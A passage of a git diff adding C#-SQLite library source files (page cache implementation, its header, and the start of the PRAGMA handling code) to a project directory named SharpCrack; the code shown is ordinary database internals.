xUnpin */ + (dxPC_Rekey)pcache1Rekey, /* xRekey */ + (dxPC_Truncate)pcache1Truncate, /* xTruncate */ + (dxPC_Destroy)pcache1Destroy /* xDestroy */ + ); + sqlite3_config( SQLITE_CONFIG_PCACHE, defaultMethods ); + } + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +/* +** This function is called to free superfluous dynamically allocated memory +** held by the pager system. Memory in use by any SQLite pager allocated +** by the current thread may be sqlite3_free()ed. +** +** nReq is the number of bytes of memory required. Once this much has +** been released, the function returns. The return value is the total number +** of bytes of memory released. +*/ +int sqlite3PcacheReleaseMemory(int nReq){ + int nFree = 0; + Debug.Assert( sqlite3_mutex_notheld(pcache1.grp.mutex) ); + Debug.Assert( sqlite3_mutex_notheld(pcache1.mutex) ); + if( pcache1.pStart==0 ){ + PgHdr1 p; + pcache1EnterMutex(&pcache1.grp); + while( (nReq<0 || nFree 0 ); + + /* If the pluggable cache (sqlite3_pcache*) has not been allocated, + ** allocate it now. + */ + if ( null == pCache.pCache && createFlag != 0 ) + { + sqlite3_pcache p; + int nByte; + nByte = pCache.szPage + pCache.szExtra + 0;// sizeof( PgHdr ); + p = sqlite3GlobalConfig.pcache.xCreate( nByte, pCache.bPurgeable ); + //if ( null == p ) + //{ + // return SQLITE_NOMEM; + //} + sqlite3GlobalConfig.pcache.xCachesize( p, pCache.nMax ); + pCache.pCache = p; + } + + eCreate = createFlag * ( 1 + ( ( !pCache.bPurgeable || null == pCache.pDirty ) ? 1 : 0 ) ); + + if ( pCache.pCache != null ) + { + pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, eCreate ); + } + + if ( null == pPage && eCreate == 1 ) + { + PgHdr pPg; + + /* Find a dirty page to write-out and recycle. First try to find a + ** page that does not require a journal-sync (one with PGHDR_NEED_SYNC + ** cleared), but if that is not possible settle for any other + ** unreferenced dirty page. + */ +#if SQLITE_ENABLE_EXPENSIVE_ASSERT +expensive_assert( pcacheCheckSynced(pCache) ); +#endif + for ( pPg = pCache.pSynced; + pPg != null && ( pPg.nRef != 0 || ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ); + pPg = pPg.pDirtyPrev + ) + ; + pCache.pSynced = pPg; + if ( null == pPg ) + { + for ( pPg = pCache.pDirtyTail; pPg != null && pPg.nRef != 0; pPg = pPg.pDirtyPrev ) + ; + } + if ( pPg != null ) + { + int rc; +#if SQLITE_LOG_CACHE_SPILL + sqlite3_log(SQLITE_FULL, + "spill page %d making room for %d - cache used: %d/%d", + pPg->pgno, pgno, + sqlite3GlobalConfig.pcache.xPagecount(pCache->pCache), + pCache->nMax); +#endif + rc = pCache.xStress( pCache.pStress, pPg ); + if ( rc != SQLITE_OK && rc != SQLITE_BUSY ) + { + return rc; + } + } + + pPage = sqlite3GlobalConfig.pcache.xFetch( pCache.pCache, pgno, 2 ); + } + + if ( pPage != null ) + { + if ( null == pPage.pData ) + { + // memset(pPage, 0, sizeof(PgHdr)); + pPage.pData = sqlite3Malloc( pCache.szPage );// pPage->pData = (void*)&pPage[1]; + //pPage->pExtra = (void*)&((char*)pPage->pData)[pCache->szPage]; + //memset(pPage->pExtra, 0, pCache->szExtra); + pPage.pCache = pCache; + pPage.pgno = pgno; + } + Debug.Assert( pPage.pCache == pCache ); + Debug.Assert( pPage.pgno == pgno ); + //assert(pPage->pData == (void*)&pPage[1]); + //assert(pPage->pExtra == (void*)&((char*)&pPage[1])[pCache->szPage]); + if ( 0 == pPage.nRef ) + { + pCache.nRef++; + } + pPage.nRef++; + if ( pgno == 1 ) + { + pCache.pPage1 = pPage; + } + } + ppPage = pPage; + return ( pPage == null && eCreate != 0 ) ? SQLITE_NOMEM : SQLITE_OK; + } + + /* + ** Decrement the reference count on a page. If the page is clean and the + ** reference count drops to 0, then it is made elible for recycling. + */ + static void sqlite3PcacheRelease( PgHdr p ) + { + Debug.Assert( p.nRef > 0 ); + p.nRef--; + if ( p.nRef == 0 ) + { + PCache pCache = p.pCache; + pCache.nRef--; + if ( ( p.flags & PGHDR_DIRTY ) == 0 ) + { + pcacheUnpin( p ); + } + else + { + /* Move the page to the head of the dirty list. */ + pcacheRemoveFromDirtyList( p ); + pcacheAddToDirtyList( p ); + } + } + } + + /* + ** Increase the reference count of a supplied page by 1. + */ + static void sqlite3PcacheRef( PgHdr p ) + { + Debug.Assert( p.nRef > 0 ); + p.nRef++; + } + + /* + ** Drop a page from the cache. There must be exactly one reference to the + ** page. This function deletes that reference, so after it returns the + ** page pointed to by p is invalid. + */ + static void sqlite3PcacheDrop( PgHdr p ) + { + PCache pCache; + Debug.Assert( p.nRef == 1 ); + if ( ( p.flags & PGHDR_DIRTY ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + } + pCache = p.pCache; + pCache.nRef--; + if ( p.pgno == 1 ) + { + pCache.pPage1 = null; + } + sqlite3GlobalConfig.pcache.xUnpin( pCache.pCache, p, true ); + } + + /* + ** Make sure the page is marked as dirty. If it isn't dirty already, + ** make it so. + */ + static void sqlite3PcacheMakeDirty( PgHdr p ) + { + p.flags &= ~PGHDR_DONT_WRITE; + Debug.Assert( p.nRef > 0 ); + if ( 0 == ( p.flags & PGHDR_DIRTY ) ) + { + p.flags |= PGHDR_DIRTY; + pcacheAddToDirtyList( p ); + } + } + + /* + ** Make sure the page is marked as clean. If it isn't clean already, + ** make it so. + */ + static void sqlite3PcacheMakeClean( PgHdr p ) + { + if ( ( p.flags & PGHDR_DIRTY ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + p.flags &= ~( PGHDR_DIRTY | PGHDR_NEED_SYNC ); + if ( p.nRef == 0 ) + { + pcacheUnpin( p ); + } + } + } + + /* + ** Make every page in the cache clean. + */ + static void sqlite3PcacheCleanAll( PCache pCache ) + { + PgHdr p; + while ( ( p = pCache.pDirty ) != null ) + { + sqlite3PcacheMakeClean( p ); + } + } + + /* + ** Clear the PGHDR_NEED_SYNC flag from all dirty pages. + */ + static void sqlite3PcacheClearSyncFlags( PCache pCache ) + { + PgHdr p; + for ( p = pCache.pDirty; p != null; p = p.pDirtyNext ) + { + p.flags &= ~PGHDR_NEED_SYNC; + } + pCache.pSynced = pCache.pDirtyTail; + } + + /* + ** Change the page number of page p to newPgno. + */ + static void sqlite3PcacheMove( PgHdr p, Pgno newPgno ) + { + PCache pCache = p.pCache; + Debug.Assert( p.nRef > 0 ); + Debug.Assert( newPgno > 0 ); + sqlite3GlobalConfig.pcache.xRekey( pCache.pCache, p, p.pgno, newPgno ); + p.pgno = newPgno; + if ( ( p.flags & PGHDR_DIRTY ) != 0 && ( p.flags & PGHDR_NEED_SYNC ) != 0 ) + { + pcacheRemoveFromDirtyList( p ); + pcacheAddToDirtyList( p ); + } + } + + /* + ** Drop every cache entry whose page number is greater than "pgno". The + ** caller must ensure that there are no outstanding references to any pages + ** other than page 1 with a page number greater than pgno. + ** + ** If there is a reference to page 1 and the pgno parameter passed to this + ** function is 0, then the data area associated with page 1 is zeroed, but + ** the page object is not dropped. + */ + static void sqlite3PcacheTruncate( PCache pCache, u32 pgno ) + { + if ( pCache.pCache != null ) + { + PgHdr p; + PgHdr pNext; + for ( p = pCache.pDirty; p != null; p = pNext ) + { + pNext = p.pDirtyNext; + /* This routine never gets call with a positive pgno except right + ** after sqlite3PcacheCleanAll(). So if there are dirty pages, + ** it must be that pgno==0. + */ + Debug.Assert( p.pgno > 0 ); + if ( ALWAYS( p.pgno > pgno ) ) + { + Debug.Assert( ( p.flags & PGHDR_DIRTY ) != 0 ); + sqlite3PcacheMakeClean( p ); + } + } + if ( pgno == 0 && pCache.pPage1 != null ) + { + // memset( pCache.pPage1.pData, 0, pCache.szPage ); + pCache.pPage1.pData = sqlite3Malloc( pCache.szPage ); + pgno = 1; + } + sqlite3GlobalConfig.pcache.xTruncate( pCache.pCache, pgno + 1 ); + } + } + + /* + ** Close a cache. + */ + static void sqlite3PcacheClose( PCache pCache ) + { + if ( pCache.pCache != null ) + { + sqlite3GlobalConfig.pcache.xDestroy( ref pCache.pCache ); + } + } + + /* + ** Discard the contents of the cache. + */ + static void sqlite3PcacheClear( PCache pCache ) + { + sqlite3PcacheTruncate( pCache, 0 ); + } + + + /* + ** Merge two lists of pages connected by pDirty and in pgno order. + ** Do not both fixing the pDirtyPrev pointers. + */ + static PgHdr pcacheMergeDirtyList( PgHdr pA, PgHdr pB ) + { + PgHdr result = new PgHdr(); + PgHdr pTail = result; + while ( pA != null && pB != null ) + { + if ( pA.pgno < pB.pgno ) + { + pTail.pDirty = pA; + pTail = pA; + pA = pA.pDirty; + } + else + { + pTail.pDirty = pB; + pTail = pB; + pB = pB.pDirty; + } + } + if ( pA != null ) + { + pTail.pDirty = pA; + } + else if ( pB != null ) + { + pTail.pDirty = pB; + } + else + { + pTail.pDirty = null; + } + return result.pDirty; + } + + /* + ** Sort the list of pages in accending order by pgno. Pages are + ** connected by pDirty pointers. The pDirtyPrev pointers are + ** corrupted by this sort. + ** + ** Since there cannot be more than 2^31 distinct pages in a database, + ** there cannot be more than 31 buckets required by the merge sorter. + ** One extra bucket is added to catch overflow in case something + ** ever changes to make the previous sentence incorrect. + */ + //#define N_SORT_BUCKET 32 + const int N_SORT_BUCKET = 32; + + static PgHdr pcacheSortDirtyList( PgHdr pIn ) + { + PgHdr[] a; + PgHdr p;//a[N_SORT_BUCKET], p; + int i; + a = new PgHdr[N_SORT_BUCKET];//memset(a, 0, sizeof(a)); + while ( pIn != null ) + { + p = pIn; + pIn = p.pDirty; + p.pDirty = null; + for ( i = 0; ALWAYS( i < N_SORT_BUCKET - 1 ); i++ ) + { + if ( a[i] == null ) + { + a[i] = p; + break; + } + else + { + p = pcacheMergeDirtyList( a[i], p ); + a[i] = null; + } + } + if ( NEVER( i == N_SORT_BUCKET - 1 ) ) + { + /* To get here, there need to be 2^(N_SORT_BUCKET) elements in + ** the input list. But that is impossible. + */ + a[i] = pcacheMergeDirtyList( a[i], p ); + } + } + p = a[0]; + for ( i = 1; i < N_SORT_BUCKET; i++ ) + { + p = pcacheMergeDirtyList( p, a[i] ); + } + return p; + } + + /* + ** Return a list of all dirty pages in the cache, sorted by page number. + */ + static PgHdr sqlite3PcacheDirtyList( PCache pCache ) + { + PgHdr p; + for ( p = pCache.pDirty; p != null; p = p.pDirtyNext ) + { + p.pDirty = p.pDirtyNext; + } + return pcacheSortDirtyList( pCache.pDirty ); + } + + /* + ** Return the total number of referenced pages held by the cache. + */ + static int sqlite3PcacheRefCount( PCache pCache ) + { + return pCache.nRef; + } + + /* + ** Return the number of references to the page supplied as an argument. + */ + static int sqlite3PcachePageRefcount( PgHdr p ) + { + return p.nRef; + } + + /* + ** Return the total number of pages in the cache. + */ + static int sqlite3PcachePagecount( PCache pCache ) + { + int nPage = 0; + if ( pCache.pCache != null ) + { + nPage = sqlite3GlobalConfig.pcache.xPagecount( pCache.pCache ); + } + return nPage; + } + +#if SQLITE_TEST + /* +** Get the suggested cache-size value. +*/ + static int sqlite3PcacheGetCachesize( PCache pCache ) + { + return pCache.nMax; + } +#endif + + /* +** Set the suggested cache-size value. +*/ + static void sqlite3PcacheSetCachesize( PCache pCache, int mxPage ) + { + pCache.nMax = mxPage; + if ( pCache.pCache != null ) + { + sqlite3GlobalConfig.pcache.xCachesize( pCache.pCache, mxPage ); + } + } + +#if SQLITE_CHECK_PAGES || (SQLITE_DEBUG) + /* +** For all dirty pages currently in the cache, invoke the specified +** callback. This is only used if the SQLITE_CHECK_PAGES macro is +** defined. +*/ + static void sqlite3PcacheIterateDirty( PCache pCache, dxIter xIter ) + { + PgHdr pDirty; + for ( pDirty = pCache.pDirty; pDirty != null; pDirty = pDirty.pDirtyNext ) + { + xIter( pDirty ); + } + } +#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache_h.cs new file mode 100644 index 0000000..e51a400 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pcache_h.cs @@ -0,0 +1,213 @@ +using System; +using System.Diagnostics; +using System.IO; + +using i16 = System.Int16; +using u32 = System.UInt32; +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2008 August 05 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This header file defines the interface that the sqlite page cache + ** subsystem. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + +#if !_PCACHE_H_ + + //typedef struct PgHdr PgHdr; + //typedef struct PCache PCache; + + /* + ** Every page in the cache is controlled by an instance of the following + ** structure. + */ + public class PgHdr + { + public byte[] pData; /* Content of this page */ + public MemPage pExtra; /* Extra content */ + public PgHdr pDirty; /* Transient list of dirty pages */ + public Pgno pgno; /* The page number for this page */ + public Pager pPager; /* The pager to which this page belongs */ +#if SQLITE_CHECK_PAGES || (SQLITE_DEBUG) + public int pageHash; /* Hash of page content */ +#endif + public int flags; /* PGHDR flags defined below */ + /********************************************************************** + ** Elements above are public. All that follows is private to pcache.c + ** and should not be accessed by other modules. + */ + public int nRef; /* Number of users of this page */ + public PCache pCache; /* Cache that owns this page */ + public bool CacheAllocated; /* True, if allocated from cache */ + + public PgHdr pDirtyNext; /* Next element in list of dirty pages */ + public PgHdr pDirtyPrev; /* Previous element in list of dirty pages */ + public PgHdr1 pPgHdr1; /* Cache page header this this page */ + + public static implicit operator bool( PgHdr b ) + { + return ( b != null ); + } + + + public void Clear() + { + sqlite3_free( ref this.pData ); + this.pData = null; + this.pExtra = null; + this.pDirty = null; + this.pgno = 0; + this.pPager = null; +#if SQLITE_CHECK_PAGES +this.pageHash=0; +#endif + this.flags = 0; + this.nRef = 0; + this.CacheAllocated = false; + this.pCache = null; + this.pDirtyNext = null; + this.pDirtyPrev = null; + this.pPgHdr1 = null; + } + }; + + /* Bit values for PgHdr.flags */ + //#define PGHDR_DIRTY 0x002 /* Page has changed */ + //#define PGHDR_NEED_SYNC 0x004 /* Fsync the rollback journal before + // ** writing this page to the database */ + //#define PGHDR_NEED_READ 0x008 /* Content is unread */ + //#define PGHDR_REUSE_UNLIKELY 0x010 /* A hint that reuse is unlikely */ + //#define PGHDR_DONT_WRITE 0x020 /* Do not write content to disk */ + + const int PGHDR_DIRTY = 0x002; /* Page has changed */ + const int PGHDR_NEED_SYNC = 0x004;/* Fsync the rollback journal before +** writing this page to the database */ + const int PGHDR_NEED_READ = 0x008;/* Content is unread */ + const int PGHDR_REUSE_UNLIKELY = 0x010;/* A hint that reuse is unlikely */ + const int PGHDR_DONT_WRITE = 0x020;/* Do not write content to disk */ + + /* Initialize and shutdown the page cache subsystem */ + //int sqlite3PcacheInitialize(void); + //void sqlite3PcacheShutdown(void); + + /* Page cache buffer management: + ** These routines implement SQLITE_CONFIG_PAGECACHE. + */ + //void sqlite3PCacheBufferSetup(void *, int sz, int n); + + /* Create a new pager cache. + ** Under memory stress, invoke xStress to try to make pages clean. + ** Only clean and unpinned pages can be reclaimed. + */ + //void sqlite3PcacheOpen( + // int szPage, /* Size of every page */ + // int szExtra, /* Extra space associated with each page */ + // int bPurgeable, /* True if pages are on backing store */ + // int (*xStress)(void*, PgHdr*), /* Call to try to make pages clean */ + // void pStress, /* Argument to xStress */ + // PCache pToInit /* Preallocated space for the PCache */ + //); + + /* Modify the page-size after the cache has been created. */ + //void sqlite3PcacheSetPageSize(PCache *, int); + + /* Return the size in bytes of a PCache object. Used to preallocate + ** storage space. + */ + //int sqlite3PcacheSize(void); + + /* One release per successful fetch. Page is pinned until released. + ** Reference counted. + */ + //int sqlite3PcacheFetch(PCache*, Pgno, int createFlag, PgHdr**); + //void sqlite3PcacheRelease(PgHdr*); + + //void sqlite3PcacheDrop(PgHdr*); /* Remove page from cache */ + //void sqlite3PcacheMakeDirty(PgHdr*); /* Make sure page is marked dirty */ + //void sqlite3PcacheMakeClean(PgHdr*); /* Mark a single page as clean */ + //void sqlite3PcacheCleanAll(PCache*); /* Mark all dirty list pages as clean */ + + /* Change a page number. Used by incr-vacuum. */ + //void sqlite3PcacheMove(PgHdr*, Pgno); + + /* Remove all pages with pgno>x. Reset the cache if x==0 */ + //void sqlite3PcacheTruncate(PCache*, Pgno x); + + /* Get a list of all dirty pages in the cache, sorted by page number */ + //PgHdr *sqlite3PcacheDirtyList(PCache*); + + /* Reset and close the cache object */ + //void sqlite3PcacheClose(PCache*); + + /* Clear flags from pages of the page cache */ + //void sqlite3PcacheClearSyncFlags(PCache *); + + /* Discard the contents of the cache */ + //void sqlite3PcacheClear(PCache*); + + /* Return the total number of outstanding page references */ + //int sqlite3PcacheRefCount(PCache*); + + /* Increment the reference count of an existing page */ + //void sqlite3PcacheRef(PgHdr*); + + //int sqlite3PcachePageRefcount(PgHdr*); + + + /* Return the total number of pages stored in the cache */ + //int sqlite3PcachePagecount(PCache*); + +#if SQLITE_CHECK_PAGES +/* Iterate through all dirty pages currently stored in the cache. This +** interface is only available if SQLITE_CHECK_PAGES is defined when the +** library is built. +*/ + +//void sqlite3PcacheIterateDirty(PCache pCache, void (*xIter)(PgHdr *)); +#endif + + /* Set and get the suggested cache-size for the specified pager-cache. +** +** If no global maximum is configured, then the system attempts to limit +** the total number of pages cached by purgeable pager-caches to the sum +** of the suggested cache-sizes. +*/ + //void sqlite3PcacheSetCachesize(PCache *, int); +#if SQLITE_TEST + //int sqlite3PcacheGetCachesize(PCache *); +#endif + +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +/* Try to return memory used by the pcache module to the main memory heap */ +//int sqlite3PcacheReleaseMemory(int); +#endif + +#if SQLITE_TEST + //void sqlite3PcacheStats(int*,int*,int*,int*); +#endif + + //void sqlite3PCacheSetDefault(void); + +#endif //* _PCACHE_H_ */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pragma_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pragma_c.cs new file mode 100644 index 0000000..22dedf9 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/pragma_c.cs @@ -0,0 +1,1887 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; + +using Pgno = System.UInt32; +using sqlite3_int64 = System.Int64; +using System.Globalization; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2003 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to implement the PRAGMA command. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* +** Interpret the given string as a safety level. Return 0 for OFF, +** 1 for ON or NORMAL and 2 for FULL. Return 1 for an empty or +** unrecognized string argument. +** +** Note that the values returned are one less that the values that +** should be passed into sqlite3BtreeSetSafetyLevel(). The is done +** to support legacy SQL code. The safety level used to be boolean +** and older scripts may have used numbers 0 for OFF and 1 for ON. +*/ + static u8 getSafetyLevel( string z ) + { + // /* 123456789 123456789 */ + string zText = "onoffalseyestruefull"; + int[] iOffset = new int[] { 0, 1, 2, 4, 9, 12, 16 }; + int[] iLength = new int[] { 2, 2, 3, 5, 3, 4, 4 }; + u8[] iValue = new u8[] { 1, 0, 0, 0, 1, 1, 2 }; + int i, n; + if ( sqlite3Isdigit( z[0] ) ) + { + return (u8)sqlite3Atoi( z ); + } + n = sqlite3Strlen30( z ); + for ( i = 0; i < ArraySize( iLength ); i++ ) + { + if ( iLength[i] == n && sqlite3StrNICmp( zText.Substring( iOffset[i] ), z, n ) == 0 ) + { + return iValue[i]; + } + } + return 1; + } + + /* + ** Interpret the given string as a boolean value. + */ + static u8 sqlite3GetBoolean(string z){ + return (u8)( getSafetyLevel( z ) & 1 );//return getSafetyLevel(z)&1; +} + +/* The sqlite3GetBoolean() function is used by other modules but the +** remainder of this file is specific to PRAGMA processing. So omit +** the rest of the file if PRAGMAs are omitted from the build. +*/ +#if !(SQLITE_OMIT_PRAGMA) + + /* + ** Interpret the given string as a locking mode value. + */ + static int getLockingMode( string z ) + { + if ( z != null ) + { + if ( z.Equals( "exclusive" ,StringComparison.InvariantCultureIgnoreCase ) ) + return PAGER_LOCKINGMODE_EXCLUSIVE; + if ( z.Equals( "normal" ,StringComparison.InvariantCultureIgnoreCase ) ) + return PAGER_LOCKINGMODE_NORMAL; + } + return PAGER_LOCKINGMODE_QUERY; + } + +#if !SQLITE_OMIT_AUTOVACUUM + /* +** Interpret the given string as an auto-vacuum mode value. +** +** The following strings, "none", "full" and "incremental" are +** acceptable, as are their numeric equivalents: 0, 1 and 2 respectively. +*/ + static u8 getAutoVacuum( string z ) + { + int i; + if ( z.Equals( "none" ,StringComparison.InvariantCultureIgnoreCase ) ) + return BTREE_AUTOVACUUM_NONE; + if ( z.Equals( "full" ,StringComparison.InvariantCultureIgnoreCase ) ) + return BTREE_AUTOVACUUM_FULL; + if ( z.Equals( "incremental" ,StringComparison.InvariantCultureIgnoreCase ) ) + return BTREE_AUTOVACUUM_INCR; + i = atoi( z ); + return (u8)( ( i >= 0 && i <= 2 ) ? i : 0 ); + } +#endif // * if !SQLITE_OMIT_AUTOVACUUM */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** Interpret the given string as a temp db location. Return 1 for file +** backed temporary databases, 2 for the Red-Black tree in memory database +** and 0 to use the compile-time default. +*/ + static int getTempStore( string z ) + { + if ( z[0] >= '0' && z[0] <= '2' ) + { + return z[0] - '0'; + } + else if ( z.Equals( "file" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + return 1; + } + else if ( z.Equals( "memory" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + return 2; + } + else + { + return 0; + } + } +#endif // * SQLITE_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** Invalidate temp storage, either when the temp storage is changed +** from default, or when 'file' and the temp_store_directory has changed +*/ + static int invalidateTempStorage( Parse pParse ) + { + sqlite3 db = pParse.db; + if ( db.aDb[1].pBt != null ) + { + if ( 0 == db.autoCommit || sqlite3BtreeIsInReadTrans( db.aDb[1].pBt ) ) + { + sqlite3ErrorMsg( pParse, "temporary storage cannot be changed " + + "from within a transaction" ); + return SQLITE_ERROR; + } + sqlite3BtreeClose( ref db.aDb[1].pBt ); + db.aDb[1].pBt = null; + sqlite3ResetInternalSchema( db, -1 ); + } + return SQLITE_OK; + } +#endif // * SQLITE_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** If the TEMP database is open, close it and mark the database schema +** as needing reloading. This must be done when using the SQLITE_TEMP_STORE +** or DEFAULT_TEMP_STORE pragmas. +*/ + static int changeTempStorage( Parse pParse, string zStorageType ) + { + int ts = getTempStore( zStorageType ); + sqlite3 db = pParse.db; + if ( db.temp_store == ts ) + return SQLITE_OK; + if ( invalidateTempStorage( pParse ) != SQLITE_OK ) + { + return SQLITE_ERROR; + } + db.temp_store = (u8)ts; + return SQLITE_OK; + } +#endif // * SQLITE_PAGER_PRAGMAS */ + + /* +** Generate code to return a single integer value. +*/ + static void returnSingleInt( Parse pParse, string zLabel, i64 value ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + int mem = ++pParse.nMem; + //i64* pI64 = sqlite3DbMallocRaw( pParse->db, sizeof( value ) ); + //if ( pI64 ) + //{ + // memcpy( pI64, &value, sizeof( value ) ); + //} + //sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, (char*)pI64, P4_INT64 ); + sqlite3VdbeAddOp4( v, OP_Int64, 0, mem, 0, value, P4_INT64 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLabel, SQLITE_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, mem, 1 ); + } + +#if !SQLITE_OMIT_FLAG_PRAGMAS + /* +** Check to see if zRight and zLeft refer to a pragma that queries +** or changes one of the flags in db.flags. Return 1 if so and 0 if not. +** Also, implement the pragma. +*/ + struct sPragmaType + { + public string zName; /* Name of the pragma */ + public int mask; /* Mask for the db.flags value */ + public sPragmaType( string zName, int mask ) + { + this.zName = zName; + this.mask = mask; + } + } + static int flagPragma( Parse pParse, string zLeft, string zRight ) + { + sPragmaType[] aPragma = new sPragmaType[]{ +new sPragmaType( "full_column_names", SQLITE_FullColNames ), +new sPragmaType( "short_column_names", SQLITE_ShortColNames ), +new sPragmaType( "count_changes", SQLITE_CountRows ), +new sPragmaType( "empty_result_callbacks", SQLITE_NullCallback ), +new sPragmaType( "legacy_file_format", SQLITE_LegacyFileFmt ), +new sPragmaType( "fullfsync", SQLITE_FullFSync ), +new sPragmaType( "checkpoint_fullfsync", SQLITE_CkptFullFSync ), +new sPragmaType( "reverse_unordered_selects", SQLITE_ReverseOrder), +#if !SQLITE_OMIT_AUTOMATIC_INDEX +new sPragmaType( "automatic_index", SQLITE_AutoIndex ), +#endif +#if SQLITE_DEBUG +new sPragmaType( "sql_trace", SQLITE_SqlTrace ), +new sPragmaType( "vdbe_listing", SQLITE_VdbeListing ), +new sPragmaType( "vdbe_trace", SQLITE_VdbeTrace ), +#endif +#if !SQLITE_OMIT_CHECK +new sPragmaType( "ignore_check_constraints", SQLITE_IgnoreChecks ), +#endif +/* The following is VERY experimental */ +new sPragmaType( "writable_schema", SQLITE_WriteSchema|SQLITE_RecoveryMode ), +new sPragmaType( "omit_readlock", SQLITE_NoReadlock ), + +/* TODO: Maybe it shouldn't be possible to change the ReadUncommitted +** flag if there are any active statements. */ +new sPragmaType( "read_uncommitted", SQLITE_ReadUncommitted ), +new sPragmaType( "recursive_triggers", SQLITE_RecTriggers ), + +/* This flag may only be set if both foreign-key and trigger support +** are present in the build. */ +#if !(SQLITE_OMIT_FOREIGN_KEY) && !(SQLITE_OMIT_TRIGGER) +new sPragmaType( "foreign_keys", SQLITE_ForeignKeys ), +#endif +}; + int i; + sPragmaType p; + for ( i = 0; i < ArraySize( aPragma ); i++ )//, p++) + { + p = aPragma[i]; + if ( zLeft.Equals( p.zName ,StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3 db = pParse.db; + Vdbe v; + v = sqlite3GetVdbe( pParse ); + Debug.Assert( v != null ); /* Already allocated by sqlite3Pragma() */ + if ( ALWAYS( v ) ) + { + if ( null == zRight ) + { + returnSingleInt( pParse, p.zName, ( ( db.flags & p.mask ) != 0 ) ? 1 : 0 ); + } + else + { + int mask = p.mask; /* Mask of bits to set or clear. */ + if ( db.autoCommit == 0 ) + { + /* Foreign key support may not be enabled or disabled while not + ** in auto-commit mode. */ + mask &= ~( SQLITE_ForeignKeys ); + } + if ( sqlite3GetBoolean( zRight ) != 0 ) + { + db.flags |= mask; + } + else + { + db.flags &= ~mask; + } + + /* Many of the flag-pragmas modify the code generated by the SQL + ** compiler (eg. count_changes). So add an opcode to expire all + ** compiled SQL statements after modifying a pragma value. + */ + sqlite3VdbeAddOp2( v, OP_Expire, 0, 0 ); + } + } + + return 1; + } + } + return 0; + } +#endif // * SQLITE_OMIT_FLAG_PRAGMAS */ + + /* +** Return a human-readable name for a constraint resolution action. +*/ +#if !SQLITE_OMIT_FOREIGN_KEY + static string actionName( int action ) + { + string zName; + switch ( action ) + { + case OE_SetNull: + zName = "SET NULL"; + break; + case OE_SetDflt: + zName = "SET DEFAULT"; + break; + case OE_Cascade: + zName = "CASCADE"; + break; + case OE_Restrict: + zName = "RESTRICT"; + break; + default: + zName = "NO ACTION"; + Debug.Assert( action == OE_None ); + break; + } + return zName; + } +#endif + + /* +** Parameter eMode must be one of the PAGER_JOURNALMODE_XXX constants +** defined in pager.h. This function returns the associated lowercase +** journal-mode name. +*/ + static string sqlite3JournalModename( int eMode ) + { + string[] azModeName = { +"delete", "persist", "off", "truncate", "memory" +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +, "wal" +#endif +}; + Debug.Assert( PAGER_JOURNALMODE_DELETE == 0 ); + Debug.Assert( PAGER_JOURNALMODE_PERSIST == 1 ); + Debug.Assert( PAGER_JOURNALMODE_OFF == 2 ); + Debug.Assert( PAGER_JOURNALMODE_TRUNCATE == 3 ); + Debug.Assert( PAGER_JOURNALMODE_MEMORY == 4 ); + Debug.Assert( PAGER_JOURNALMODE_WAL == 5 ); + Debug.Assert( eMode >= 0 && eMode <= ArraySize( azModeName ) ); + + if ( eMode == ArraySize( azModeName ) ) + return null; + return azModeName[eMode]; + } + + /* + ** Process a pragma statement. + ** + ** Pragmas are of this form: + ** + ** PRAGMA [database.]id [= value] + ** + ** The identifier might also be a string. The value is a string, and + ** identifier, or a number. If minusFlag is true, then the value is + ** a number that was preceded by a minus sign. + ** + ** If the left side is "database.id" then pId1 is the database name + ** and pId2 is the id. If the left side is just "id" then pId1 is the + ** id and pId2 is any empty string. + */ + class EncName + { + public string zName; + public u8 enc; + + public EncName( string zName, u8 enc ) + { + this.zName = zName; + this.enc = enc; + } + }; + + static EncName[] encnames = new EncName[] { +new EncName( "UTF8", 